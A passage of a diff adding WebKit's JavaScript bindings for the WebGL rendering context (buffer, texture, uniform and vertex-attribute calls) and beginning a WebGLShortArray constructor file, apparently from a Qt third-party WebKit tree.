+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLRenderingContext.h"
+
+#include "ExceptionCode.h"
+#include "HTMLCanvasElement.h"
+#include "HTMLImageElement.h"
+#include "HTMLVideoElement.h"
+#include "JSHTMLCanvasElement.h"
+#include "JSHTMLImageElement.h"
+#include "JSHTMLVideoElement.h"
+#include "JSImageData.h"
+#include "JSWebGLBuffer.h"
+#include "JSWebGLFloatArray.h"
+#include "JSWebGLFramebuffer.h"
+#include "JSWebGLIntArray.h"
+#include "JSWebGLProgram.h"
+#include "JSWebGLRenderbuffer.h"
+#include "JSWebGLShader.h"
+#include "JSWebGLTexture.h"
+#include "JSWebGLUniformLocation.h"
+#include "JSWebGLUnsignedByteArray.h"
+#include "JSWebKitCSSMatrix.h"
+#include "NotImplemented.h"
+#include "WebGLBuffer.h"
+#include "WebGLFloatArray.h"
+#include "WebGLFramebuffer.h"
+#include "WebGLGetInfo.h"
+#include "WebGLIntArray.h"
+#include "WebGLProgram.h"
+#include "WebGLRenderingContext.h"
+#include <runtime/Error.h>
+#include <wtf/FastMalloc.h>
+#include <wtf/OwnFastMallocPtr.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+JSValue JSWebGLRenderingContext::bufferData(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() != 3)
+        return throwError(exec, SyntaxError);
+
+    unsigned target = args.at(0).toInt32(exec);
+    unsigned usage = args.at(2).toInt32(exec);
+    ExceptionCode ec = 0;
+
+    // If argument 1 is a number, we are initializing this buffer to that size
+    if (!args.at(1).isObject()) {
+        unsigned int count = args.at(1).toInt32(exec);
+        static_cast<WebGLRenderingContext*>(impl())->bufferData(target, count, usage, ec);
+    } else {
+        WebGLArray* array = toWebGLArray(args.at(1));
+        static_cast<WebGLRenderingContext*>(impl())->bufferData(target, array, usage, ec);
+    }
+
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+JSValue JSWebGLRenderingContext::bufferSubData(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() != 3)
+        return throwError(exec, SyntaxError);
+
+    unsigned target = args.at(0).toInt32(exec);
+    unsigned offset = args.at(1).toInt32(exec);
+    ExceptionCode ec = 0;
+    
+    WebGLArray* array = toWebGLArray(args.at(2));
+    
+    static_cast<WebGLRenderingContext*>(impl())->bufferSubData(target, offset, array, ec);
+
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+static JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, const WebGLGetInfo& info)
+{
+    switch (info.getType()) {
+    case WebGLGetInfo::kTypeBool:
+        return jsBoolean(info.getBool());
+    case WebGLGetInfo::kTypeFloat:
+        return jsNumber(exec, info.getFloat());
+    case WebGLGetInfo::kTypeLong:
+        return jsNumber(exec, info.getLong());
+    case WebGLGetInfo::kTypeNull:
+        return jsNull();
+    case WebGLGetInfo::kTypeString:
+        return jsString(exec, info.getString());
+    case WebGLGetInfo::kTypeUnsignedLong:
+        return jsNumber(exec, info.getUnsignedLong());
+    case WebGLGetInfo::kTypeWebGLBuffer:
+        return toJS(exec, globalObject, info.getWebGLBuffer());
+    case WebGLGetInfo::kTypeWebGLFloatArray:
+        return toJS(exec, globalObject, info.getWebGLFloatArray());
+    case WebGLGetInfo::kTypeWebGLFramebuffer:
+        return toJS(exec, globalObject, info.getWebGLFramebuffer());
+    case WebGLGetInfo::kTypeWebGLIntArray:
+        return toJS(exec, globalObject, info.getWebGLIntArray());
+    // FIXME: implement WebGLObjectArray
+    // case WebGLGetInfo::kTypeWebGLObjectArray:
+    case WebGLGetInfo::kTypeWebGLProgram:
+        return toJS(exec, globalObject, info.getWebGLProgram());
+    case WebGLGetInfo::kTypeWebGLRenderbuffer:
+        return toJS(exec, globalObject, info.getWebGLRenderbuffer());
+    case WebGLGetInfo::kTypeWebGLTexture:
+        return toJS(exec, globalObject, info.getWebGLTexture());
+    case WebGLGetInfo::kTypeWebGLUnsignedByteArray:
+        return toJS(exec, globalObject, info.getWebGLUnsignedByteArray());
+    default:
+        notImplemented();
+        return jsUndefined();
+    }
+}
+
+enum ObjectType {
+    kBuffer, kRenderbuffer, kTexture, kVertexAttrib
+};
+
+static JSValue getObjectParameter(JSWebGLRenderingContext* obj, ExecState* exec, const ArgList& args, ObjectType objectType)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(obj->impl());
+    unsigned target = args.at(0).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    unsigned pname = args.at(1).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info;
+    switch (objectType) {
+    case kBuffer:
+        info = context->getBufferParameter(target, pname, ec);
+        break;
+    case kRenderbuffer:
+        info = context->getRenderbufferParameter(target, pname, ec);
+        break;
+    case kTexture:
+        info = context->getTexParameter(target, pname, ec);
+        break;
+    case kVertexAttrib:
+        // target => index
+        info = context->getVertexAttrib(target, pname, ec);
+        break;
+    default:
+        notImplemented();
+        break;
+    }
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, obj->globalObject(), info);
+}
+
+enum WhichProgramCall {
+    kProgramParameter, kUniform
+};
+
+JSValue JSWebGLRenderingContext::getBufferParameter(ExecState* exec, const ArgList& args)
+{
+    return getObjectParameter(this, exec, args, kBuffer);
+}
+
+JSValue JSWebGLRenderingContext::getFramebufferAttachmentParameter(ExecState* exec, const ArgList& args)
+{
+    if (args.size() != 3)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());
+    unsigned target = args.at(0).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    unsigned attachment = args.at(1).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    unsigned pname = args.at(2).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info = context->getFramebufferAttachmentParameter(target, attachment, pname, ec);
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, globalObject(), info);
+}
+
+JSValue JSWebGLRenderingContext::getParameter(ExecState* exec, const ArgList& args)
+{
+    if (args.size() != 1)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());
+    unsigned pname = args.at(0).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info = context->getParameter(pname, ec);
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, globalObject(), info);
+}
+
+JSValue JSWebGLRenderingContext::getProgramParameter(ExecState* exec, const ArgList& args)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());
+    WebGLProgram* program = toWebGLProgram(args.at(0));
+    unsigned pname = args.at(1).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info = context->getProgramParameter(program, pname, ec);
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, globalObject(), info);
+}
+
+JSValue JSWebGLRenderingContext::getRenderbufferParameter(ExecState* exec, const ArgList& args)
+{
+    return getObjectParameter(this, exec, args, kRenderbuffer);
+}
+
+JSValue JSWebGLRenderingContext::getShaderParameter(ExecState* exec, const ArgList& args)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());
+    WebGLShader* shader = toWebGLShader(args.at(0));
+    unsigned pname = args.at(1).toInt32(exec);
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info = context->getShaderParameter(shader, pname, ec);
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, globalObject(), info);
+}
+
+JSValue JSWebGLRenderingContext::getTexParameter(ExecState* exec, const ArgList& args)
+{
+    return getObjectParameter(this, exec, args, kTexture);
+}
+
+JSValue JSWebGLRenderingContext::getUniform(ExecState* exec, const ArgList& args)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());
+    WebGLProgram* program = toWebGLProgram(args.at(0));
+    WebGLUniformLocation* loc = toWebGLUniformLocation(args.at(1));
+    if (exec->hadException())
+        return jsUndefined();
+    WebGLGetInfo info = context->getUniform(program, loc, ec);
+    if (ec) {
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+    return toJS(exec, globalObject(), info);
+}
+
+JSValue JSWebGLRenderingContext::getVertexAttrib(ExecState* exec, const ArgList& args)
+{
+    return getObjectParameter(this, exec, args, kVertexAttrib);
+}
+
+//   void texImage2D(in GLenum target, in GLint level, in GLenum internalformat, in GLsizei width, in GLsizei height, in GLint border, in GLenum format, in GLenum type, in WebGLArray pixels);
+//   void texImage2D(in GLenum target, in GLint level, in ImageData pixels, [Optional] GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texImage2D(in GLenum target, in GLint level, in HTMLImageElement image, [Optional] in GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texImage2D(in GLenum target, in GLint level, in HTMLCanvasElement canvas, [Optional] in GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texImage2D(in GLenum target, in GLint level, in HTMLVideoElement video, [Optional] in GLboolean flipY, [Optional] in premultiplyAlpha);
+JSValue JSWebGLRenderingContext::texImage2D(ExecState* exec, const ArgList& args)
+{ 
+    if (args.size() < 3 || args.size() > 9)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+    
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());    
+    unsigned target = args.at(0).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+    
+    unsigned level = args.at(1).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+
+    JSObject* o = 0;
+    
+    if (args.size() <= 5) {
+        // This is one of the last 4 forms. Param 2 can be ImageData or <img>, <canvas> or <video> element.
+        JSValue value = args.at(2);
+    
+        if (!value.isObject())
+            return throwError(exec, TypeError);
+        
+        o = asObject(value);
+        
+        bool flipY = args.at(3).toBoolean(exec);
+        bool premultiplyAlpha = args.at(4).toBoolean(exec);
+        
+        if (o->inherits(&JSImageData::s_info)) {
+            ImageData* data = static_cast<ImageData*>(static_cast<JSImageData*>(o)->impl());
+            context->texImage2D(target, level, data, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLImageElement::s_info)) {
+            HTMLImageElement* element = static_cast<HTMLImageElement*>(static_cast<JSHTMLImageElement*>(o)->impl());
+            context->texImage2D(target, level, element, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLCanvasElement::s_info)) {
+            HTMLCanvasElement* element = static_cast<HTMLCanvasElement*>(static_cast<JSHTMLCanvasElement*>(o)->impl());
+            context->texImage2D(target, level, element, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLVideoElement::s_info)) {
+            HTMLVideoElement* element = static_cast<HTMLVideoElement*>(static_cast<JSHTMLVideoElement*>(o)->impl());
+            context->texImage2D(target, level, element, flipY, premultiplyAlpha, ec);
+        } else
+            ec = TYPE_MISMATCH_ERR;
+    } else {
+        if (args.size() != 9)
+            return throwError(exec, SyntaxError);
+
+        // This must be the WebGLArray case
+        unsigned internalformat = args.at(2).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        unsigned width = args.at(3).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        unsigned height = args.at(4).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        unsigned border = args.at(5).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        unsigned format = args.at(6).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        unsigned type = args.at(7).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+
+        JSValue value = args.at(8);
+            
+        // For this case passing 0 (for a null array) is allowed
+        if (value.isNull())
+            context->texImage2D(target, level, internalformat, width, height, border, format, type, 0, ec);
+        else if (value.isObject()) {
+            o = asObject(value);
+            
+            if (o->inherits(&JSWebGLArray::s_info)) {
+                // FIXME: Need to check to make sure WebGLArray is a WebGLByteArray or WebGLShortArray,
+                // depending on the passed type parameter.
+                WebGLArray* obj = static_cast<WebGLArray*>(static_cast<JSWebGLArray*>(o)->impl());
+                context->texImage2D(target, level, internalformat, width, height, border, format, type, obj, ec);
+            } else
+                return throwError(exec, TypeError);
+        } else 
+            return throwError(exec, TypeError);
+    }
+    
+    setDOMException(exec, ec);
+    return jsUndefined();    
+}
+
+//   void texSubImage2D(in GLenum target, in GLint level, in GLint xoffset, in GLint yoffset, in GLsizei width, in GLsizei height, in GLenum format, in GLenum type, in WebGLArray pixels);
+//   void texSubImage2D(in GLenum target, in GLint level, in GLint xoffset, in GLint yoffset, in ImageData pixels, [Optional] GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texSubImage2D(in GLenum target, in GLint level, in GLint xoffset, in GLint yoffset, in HTMLImageElement image, [Optional] GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texSubImage2D(in GLenum target, in GLint level, in GLint xoffset, in GLint yoffset, in HTMLCanvasElement canvas, [Optional] GLboolean flipY, [Optional] in premultiplyAlpha);
+//   void texSubImage2D(in GLenum target, in GLint level, in GLint xoffset, in GLint yoffset, in HTMLVideoElement video, [Optional] GLboolean flipY, [Optional] in premultiplyAlpha);
+JSValue JSWebGLRenderingContext::texSubImage2D(ExecState* exec, const ArgList& args)
+{ 
+    if (args.size() < 5 || args.size() > 9)
+        return throwError(exec, SyntaxError);
+
+    ExceptionCode ec = 0;
+
+    WebGLRenderingContext* context = static_cast<WebGLRenderingContext*>(impl());    
+    unsigned target = args.at(0).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+
+    unsigned level = args.at(1).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+    
+    unsigned xoff = args.at(2).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+    
+    unsigned yoff = args.at(3).toInt32(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+    
+    JSObject* o = 0;
+        
+    if (args.size() <= 7) {
+        // This is one of the last 4 forms. Param 4 can be <img>, <canvas> or <video> element, of the format param.
+        JSValue value = args.at(4);
+
+        if (!value.isObject())
+            return throwError(exec, SyntaxError);
+
+        o = asObject(value);
+
+        bool flipY = args.at(5).toBoolean(exec);
+        bool premultiplyAlpha = args.at(6).toBoolean(exec);
+        
+        if (o->inherits(&JSImageData::s_info)) {
+            ImageData* data = static_cast<ImageData*>(static_cast<JSImageData*>(o)->impl());
+            context->texSubImage2D(target, level, xoff, yoff, data, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLImageElement::s_info)) {
+            HTMLImageElement* element = static_cast<HTMLImageElement*>(static_cast<JSHTMLImageElement*>(o)->impl());
+            context->texSubImage2D(target, level, xoff, yoff, element, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLCanvasElement::s_info)) {
+            HTMLCanvasElement* element = static_cast<HTMLCanvasElement*>(static_cast<JSHTMLCanvasElement*>(o)->impl());
+            context->texSubImage2D(target, level, xoff, yoff, element, flipY, premultiplyAlpha, ec);
+        } else if (o->inherits(&JSHTMLVideoElement::s_info)) {
+            HTMLVideoElement* element = static_cast<HTMLVideoElement*>(static_cast<JSHTMLVideoElement*>(o)->impl());
+            context->texSubImage2D(target, level, xoff, yoff, element, flipY, premultiplyAlpha, ec);
+        } else
+            ec = TYPE_MISMATCH_ERR;
+    } else {
+        // This must be the WebGLArray form
+        if (args.size() != 9)
+            return throwError(exec, SyntaxError);
+
+        unsigned width = args.at(4).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+        
+        unsigned height = args.at(5).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+        
+        unsigned format = args.at(6).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+        
+        unsigned type = args.at(7).toInt32(exec);
+        if (exec->hadException())    
+            return jsUndefined();
+        
+        JSValue value = args.at(8);
+        if (!value.isObject())
+            context->texSubImage2D(target, level, xoff, yoff, width, height, format, type, 0, ec);
+        else {
+            o = asObject(value);
+        
+            if (o->inherits(&JSWebGLArray::s_info)) {
+                WebGLArray* obj = static_cast<WebGLArray*>(static_cast<JSWebGLArray*>(o)->impl());
+                context->texSubImage2D(target, level, xoff, yoff, width, height, format, type, obj, ec);
+            } else
+                return throwError(exec, TypeError);
+        }
+    }
+    
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+template<typename T, size_t inlineCapacity>
+bool toVector(JSC::ExecState* exec, JSC::JSValue value, Vector<T, inlineCapacity>& vector)
+{
+    if (!value.isObject())
+        return false;
+
+    JSC::JSObject* object = asObject(value);
+    int32_t length = object->get(exec, JSC::Identifier(exec, "length")).toInt32(exec);
+    vector.resize(length);
+
+    for (int32_t i = 0; i < length; ++i) {
+        JSC::JSValue v = object->get(exec, i);
+        if (exec->hadException())
+            return false;
+        vector[i] = static_cast<T>(v.toNumber(exec));
+    }
+
+    return true;
+}
+
+enum DataFunctionToCall {
+    f_uniform1v, f_uniform2v, f_uniform3v, f_uniform4v,
+    f_vertexAttrib1v, f_vertexAttrib2v, f_vertexAttrib3v, f_vertexAttrib4v
+};
+
+enum DataFunctionMatrixToCall {
+    f_uniformMatrix2fv, f_uniformMatrix3fv, f_uniformMatrix4fv
+};
+
+static bool functionForUniform(DataFunctionToCall f)
+{
+    switch (f) {
+    case f_uniform1v:
+    case f_uniform2v:
+    case f_uniform3v:
+    case f_uniform4v:
+        return true;
+        break;
+    default: break;
+    }
+    return false;
+}
+
+static JSC::JSValue dataFunctionf(DataFunctionToCall f, JSC::ExecState* exec, const JSC::ArgList& args, WebGLRenderingContext* context)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+    
+    WebGLUniformLocation* location = 0;
+    long index = -1;
+    
+    if (functionForUniform(f))
+        location = toWebGLUniformLocation(args.at(0));
+    else
+        index = args.at(0).toInt32(exec);
+
+    if (exec->hadException())
+        return jsUndefined();
+        
+    RefPtr<WebGLFloatArray> webGLArray = toWebGLFloatArray(args.at(1));
+    if (exec->hadException())    
+        return jsUndefined();
+        
+    ExceptionCode ec = 0;
+    if (webGLArray) {
+        switch (f) {
+        case f_uniform1v:
+            context->uniform1fv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform2v:
+            context->uniform2fv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform3v:
+            context->uniform3fv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform4v:
+            context->uniform4fv(location, webGLArray.get(), ec);
+            break;
+        case f_vertexAttrib1v:
+            context->vertexAttrib1fv(index, webGLArray.get());
+            break;
+        case f_vertexAttrib2v:
+            context->vertexAttrib2fv(index, webGLArray.get());
+            break;
+        case f_vertexAttrib3v:
+            context->vertexAttrib3fv(index, webGLArray.get());
+            break;
+        case f_vertexAttrib4v:
+            context->vertexAttrib4fv(index, webGLArray.get());
+            break;
+        }
+        
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    Vector<float, 64> array;
+    if (!toVector(exec, args.at(1), array))
+        return throwError(exec, TypeError);
+
+    switch (f) {
+    case f_uniform1v:
+        context->uniform1fv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform2v:
+        context->uniform2fv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform3v:
+        context->uniform3fv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform4v:
+        context->uniform4fv(location, array.data(), array.size(), ec);
+        break;
+    case f_vertexAttrib1v:
+        context->vertexAttrib1fv(index, array.data(), array.size());
+        break;
+    case f_vertexAttrib2v:
+        context->vertexAttrib2fv(index, array.data(), array.size());
+        break;
+    case f_vertexAttrib3v:
+        context->vertexAttrib3fv(index, array.data(), array.size());
+        break;
+    case f_vertexAttrib4v:
+        context->vertexAttrib4fv(index, array.data(), array.size());
+        break;
+    }
+    
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+static JSC::JSValue dataFunctioni(DataFunctionToCall f, JSC::ExecState* exec, const JSC::ArgList& args, WebGLRenderingContext* context)
+{
+    if (args.size() != 2)
+        return throwError(exec, SyntaxError);
+
+    WebGLUniformLocation* location = toWebGLUniformLocation(args.at(0));
+  
+    if (exec->hadException())
+        return jsUndefined();
+        
+    RefPtr<WebGLIntArray> webGLArray = toWebGLIntArray(args.at(1));
+    if (exec->hadException())    
+        return jsUndefined();
+        
+    ExceptionCode ec = 0;
+    if (webGLArray) {
+        switch (f) {
+        case f_uniform1v:
+            context->uniform1iv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform2v:
+            context->uniform2iv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform3v:
+            context->uniform3iv(location, webGLArray.get(), ec);
+            break;
+        case f_uniform4v:
+            context->uniform4iv(location, webGLArray.get(), ec);
+            break;
+        default:
+            break;
+        }
+        
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+
+    Vector<int, 64> array;
+    if (!toVector(exec, args.at(1), array))
+        return throwError(exec, TypeError);
+
+    switch (f) {
+    case f_uniform1v:
+        context->uniform1iv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform2v:
+        context->uniform2iv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform3v:
+        context->uniform3iv(location, array.data(), array.size(), ec);
+        break;
+    case f_uniform4v:
+        context->uniform4iv(location, array.data(), array.size(), ec);
+        break;
+    default:
+        break;
+    }
+    
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+static JSC::JSValue dataFunctionMatrix(DataFunctionMatrixToCall f, JSC::ExecState* exec, const JSC::ArgList& args, WebGLRenderingContext* context)
+{
+    if (args.size() != 3)
+        return throwError(exec, SyntaxError);
+
+    WebGLUniformLocation* location = toWebGLUniformLocation(args.at(0));
+
+    if (exec->hadException())    
+        return jsUndefined();
+        
+    bool transpose = args.at(1).toBoolean(exec);
+    if (exec->hadException())    
+        return jsUndefined();
+        
+    RefPtr<WebGLFloatArray> webGLArray = toWebGLFloatArray(args.at(2));
+    if (exec->hadException())    
+        return jsUndefined();
+        
+    ExceptionCode ec = 0;
+    if (webGLArray) {
+        switch (f) {
+        case f_uniformMatrix2fv:
+            context->uniformMatrix2fv(location, transpose, webGLArray.get(), ec);
+            break;
+        case f_uniformMatrix3fv:
+            context->uniformMatrix3fv(location, transpose, webGLArray.get(), ec);
+            break;
+        case f_uniformMatrix4fv:
+            context->uniformMatrix4fv(location, transpose, webGLArray.get(), ec);
+            break;
+        }
+        
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    Vector<float, 64> array;
+    if (!toVector(exec, args.at(2), array))
+        return throwError(exec, TypeError);
+
+    switch (f) {
+    case f_uniformMatrix2fv:
+        context->uniformMatrix2fv(location, transpose, array.data(), array.size(), ec);
+        break;
+    case f_uniformMatrix3fv:
+        context->uniformMatrix3fv(location, transpose, array.data(), array.size(), ec);
+        break;
+    case f_uniformMatrix4fv:
+        context->uniformMatrix4fv(location, transpose, array.data(), array.size(), ec);
+        break;
+    }
+
+    setDOMException(exec, ec);
+    return jsUndefined();
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform1fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_uniform1v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform1iv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctioni(f_uniform1v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform2fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_uniform2v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform2iv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctioni(f_uniform2v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform3fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_uniform3v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform3iv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctioni(f_uniform3v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform4fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_uniform4v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniform4iv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctioni(f_uniform4v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniformMatrix2fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionMatrix(f_uniformMatrix2fv, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniformMatrix3fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionMatrix(f_uniformMatrix3fv, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::uniformMatrix4fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionMatrix(f_uniformMatrix4fv, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::vertexAttrib1fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_vertexAttrib1v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::vertexAttrib2fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_vertexAttrib2v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::vertexAttrib3fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_vertexAttrib3v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+JSC::JSValue JSWebGLRenderingContext::vertexAttrib4fv(JSC::ExecState* exec, const JSC::ArgList& args)
+{
+    return dataFunctionf(f_vertexAttrib4v, exec, args, static_cast<WebGLRenderingContext*>(impl()));
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.cpp
new file mode 100644
index 0000000..a33779b
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLShortArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLShortArray.h"
+#include "JSWebGLArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
